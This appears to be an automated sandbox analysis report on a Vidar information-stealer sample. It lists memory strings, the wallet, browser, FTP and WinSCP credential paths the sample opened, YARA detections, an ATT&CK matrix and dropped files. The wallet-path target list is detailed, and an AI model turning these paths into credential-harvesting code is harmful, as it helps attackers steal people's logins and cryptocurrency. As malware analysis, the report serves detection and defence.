Source: RegAsm.exe, 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: RegAsm.exe, 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|

Opens network shares

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: \\config\			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: \\config\			Jump to behavior

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Configuration

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\backups\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Source: Yara match	File source: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 5984, type: MEMORYSTR

Remote Access Functionality

Yara detected Vidar

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 0.2.file.exe.70aac0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.70aac0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.6e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1589701895.000000000070A000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6856, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 5984, type: MEMORYSTR

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C8B0C40 sqlite3_bind_zeroblob,	3_2_6C8B0C40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C8B0D60 sqlite3_bind_parameter_name,	3_2_6C8B0D60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C7D8EA0 sqlite3_clear_bindings,	3_2_6C7D8EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C8B0B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	3_2_6C8B0B40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C7D6410 bind,WSAGetLastError,	3_2_6C7D6410
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C7D6070 PR_Listen,	3_2_6C7D6070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C7DC050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	3_2_6C7DC050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C7DC030 sqlite3_bind_parameter_count,	3_2_6C7DC030

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	Boot or Logon Initialization Scripts	511 Process Injection	2 Obfuscated Files or Information	1 Credentials in Registry	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	Logon Script (Windows)	Logon Script (Windows)	1 DLL Side-Loading	Security Account Manager	4 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Masquerading	NTDS	55 System Information Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Virtualization/Sandbox Evasion	LSA Secrets	1 Network Share Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	511 Process Injection	Cached Domain Credentials	141 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	1 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	12 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	HEUR/AGEN.1317471
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\GHIJJEGDBFII\freebl3.dll	0%	ReversingLabs
C:\ProgramData\GHIJJEGDBFII\mozglue.dll	0%	ReversingLabs
C:\ProgramData\GHIJJEGDBFII\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\GHIJJEGDBFII\nss3.dll	0%	ReversingLabs
C:\ProgramData\GHIJJEGDBFII\softokn3.dll	0%	ReversingLabs
C:\ProgramData\GHIJJEGDBFII\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\sqlx[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	0%	URL Reputation	safe
https://store.steampowered.com/subscriber_agreement/	0%	URL Reputation	safe
https://community.cloudflare.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=engli	0%	URL Reputation	safe
https://community.cloudflare.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpE	0%	URL Reputation	safe
http://www.valvesoftware.com/legal.htm	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17rer.exe	0%	URL Reputation	safe
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	0%	URL Reputation	safe
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	0%	URL Reputation	safe
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	0%	URL Reputation	safe
https://community.cloudflare.steamstatic.com/public/css/skin_1/modalContent.css?v=.TP5s6TzX6LLh&	0%	URL Reputation	safe
https://community.cloudflare.steamstatic.com/public/javascript/modalContent.js?v=Wd0kCESeJquW&l=	0%	URL Reputation	safe
http://www.mozilla.com/en-US/blocklist/	0%	URL Reputation	safe
https://mozilla.org0/	0%	URL Reputation	safe
https://community.cloudflare.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw&	0%	URL Reputation	safe
http://store.steampowered.com/privacy_agreement/	0%	URL Reputation	safe
https://store.steampowered.com/points/shop/	0%	URL Reputation	safe
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://store.steampowered.com/privacy_agreement/	0%	URL Reputation	safe
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	0%	URL Reputation	safe
https://community.cloudflare.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016	0%	URL Reputation	safe
